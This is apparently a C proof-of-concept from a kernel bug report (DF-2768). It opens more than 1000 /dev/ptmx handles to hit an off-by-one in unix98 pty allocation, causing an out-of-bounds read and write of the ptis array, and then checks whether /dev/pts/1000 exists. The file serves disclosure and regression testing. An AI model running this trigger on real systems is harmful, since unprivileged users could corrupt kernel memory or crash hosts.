DF-2768 / ptmx_limit_offbyone.c
/* * DF-2768 PoC: unix98 pty clone-count off-by-one -> ptis[MAXPTYS] OOB * * sys/kern/tty_pty.c:176 calls * devfs_clone_bitmap_get(&DEVFS_CLONE_BITMAP(pty), MAXPTYS) * but sys/vfs/devfs/devfs_helper.c:224-227 only refuses units with * unit > limit * so unit == MAXPTYS (1000) is ACCEPTED. ptis[] is kmalloc'd with * exactly MAXPTYS entries (tty_pty.c:1292), so the 1001st pty reads * ptis[1000] (uninitialized out-of-bounds read used as a pointer, * tty_pty.c:186) and writes ptis[1000] = pti (out-of-bounds pointer * store, tty_pty.c:190). * * Unprivileged: opening /dev/ptmx requires no privilege at all. * * Success criterion: more than MAXPTYS unix98 ptys exist concurrently * (i.e. /dev/pts/1000 exists) -- a correct implementation refuses the * 1001st open with ENXIO. */ #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MAXPTYS 1000 int main(void) { int *fds; int n = 0, i, lasterr = 0; char path[64]; struct stat st; fds = calloc(MAXPTYS + 16, sizeof(int)); for (i = 0; i < MAXPTYS + 16; i++) { int fd = open("/dev/ptmx", O_RDWR); if (fd < 0) { lasterr = errno; break; } fds[n++] = fd; } printf("opened %d ptmx master fds (expect <= %d), last error=%s(%d)\n", n, MAXPTYS, strerror(lasterr), lasterr); /* Count live slave nodes and probe the OOB unit directly */ snprintf(path, sizeof(path), "/dev/pts/%d", MAXPTYS); if (stat(path, &st) == 0) { printf("VULNERABLE: %s exists -> unit %d was allocated, " "ptis[%d] out-of-bounds read+write taken\n", path, MAXPTYS, MAXPTYS); fflush(stdout); return (2); } printf("not vulnerable: /dev/pts/%d absent\n", MAXPTYS); fflush(stdout); return ((n > MAXPTYS) ? 2 : 0); } |